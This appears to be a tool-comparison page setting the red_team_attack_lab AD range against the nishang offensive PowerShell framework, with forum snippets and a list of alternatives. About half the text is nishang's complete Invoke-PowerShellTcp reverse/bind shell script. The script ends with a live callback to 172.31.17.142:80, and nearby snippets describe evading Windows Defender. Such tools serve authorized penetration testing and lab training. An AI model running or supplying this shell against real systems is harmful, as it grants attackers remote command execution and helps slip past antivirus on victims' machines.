red_team_attack_lab
nishang
red_team_attack_lab | nishang | |
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5 | 15 | |
476 | 8,347 | |
- | - | |
4.5 | 0.0 | |
12 months ago | 9 days ago | |
PowerShell | PowerShell | |
GNU General Public License v3.0 only | GNU General Public License v3.0 or later |
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red_team_attack_lab
- Can anyone describe their red team infrastructure?
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Non-Internet Connected IAC Range
There are some pretty solid examples like splunk attack range or detection lab available on GitHub. They leverage ansible, virtual box, and vagrant. My team used to use red team lab https://github.com/Marshall-Hallenbeck/red_team_attack_lab internally for demos, but has since moved to Snaplabs for the ease of deployment and cost. I can have a junior engineer spin up an entire Ad instance from a template in 5 minutes vs fighting virtual box and ansible to 2 days.
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Active directory scripts for setting a lab?
Try this https://github.com/Marshall-Hallenbeck/red_team_attack_lab
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Anyone have experience building a Windows AD lab environment in Docker?
Since you mention your in-depth ELK workflow, have you tried DetectionLab or Splunk's Attack Range? If you just want a fully working AD domain set up with various hosts, you can spin up the Red Team Attack Lab and then hook in your own logging stuff after it's built.
- Red Team Attack Lab for TTP testing & research
nishang
- PowerShell evasion
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Bypassing Windows Defender (10 Ways)
function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
- Powershell scripts suggestions!
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TryHackMe Flatline Walkthrough
Save this file https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
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Discrepancies in detecting obfuscated payloads by Windows Defender?
After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!
- Using Nishang with Pastebin | Help
- Ideas on how to in-line inspect base64 for malicious code?
- Nishang - PowerShell ofensivo para #redteam, las pruebas de penetración y la seguridad ofensiva 💯
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Writeup: HackTheBox Bounty - Without Metasploit (OSCP Prep)
I am going to copy/paste the following nishang Reverse Shell in the newly created file link.
- Why is this reverse shell not working?
What are some alternatives?
cervantes - Cervantes is an open-source, collaborative platform designed specifically for pentesters and red teams. It serves as a comprehensive management tool, streamlining the organization of projects, clients, vulnerabilities, and reports in a single, centralized location.
powershell-universal - PowerShell Universal is the ultimate platform for building web-based IT tools.
GOAD - game of active directory
AdminToolbox - Repository for the AdminToolbox PowerShell Modules
Infosec_Reference - An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.
ConPtyShell - ConPtyShell - Fully Interactive Reverse Shell for Windows
passwordstate-decryptor - PowerShell script that decrypts password entries from a Passwordstate server.
psPAS - PowerShell module for CyberArk Privileged Access Security REST API
attack_range - A tool that allows you to create vulnerable instrumented local or cloud environments to simulate attacks against and collect the data into Splunk
universal-dashboard - Build beautiful websites with PowerShell.
gitjacker - 🔪 :octocat: Leak git repositories from misconfigured websites
PoshC2 - A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.